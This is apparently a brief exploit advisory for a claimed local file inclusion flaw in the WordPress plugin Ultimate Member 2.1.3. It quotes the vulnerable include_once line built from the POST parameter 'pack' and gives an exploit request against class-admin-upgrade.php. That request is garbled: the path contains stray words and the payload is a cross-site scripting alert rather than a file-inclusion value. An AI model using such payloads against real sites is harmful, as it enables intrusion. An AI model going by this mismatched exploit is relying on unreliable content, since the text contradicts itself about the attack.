[-] Title : WordPress Plugin ultimate-member 2.1.3 - Local File Inclusion [-] Author : mehran feizi [-] Category : Webapps [-] Date : 2020-02-11 [-] vendor home page: https://wordpress.org/plugins/ultimate-member/ Vulnerable Page: /class-admin-upgrade.php Vulnerable Source: 354: if(empty($_POST['pack'])) else 356: include_once include_once $this->packages_dir . DIRECTORY_SEPARATOR . $_POST['pack'] . DIRECTORY_SEPARATOR . 'init.php'; Exploit: localhost/wp-content/plugins/worprees plugin bug dar/ultimate-member/includes/admin/core/class-admin-upgrade.php $_POST('pack')=<script>alert('xss')</script>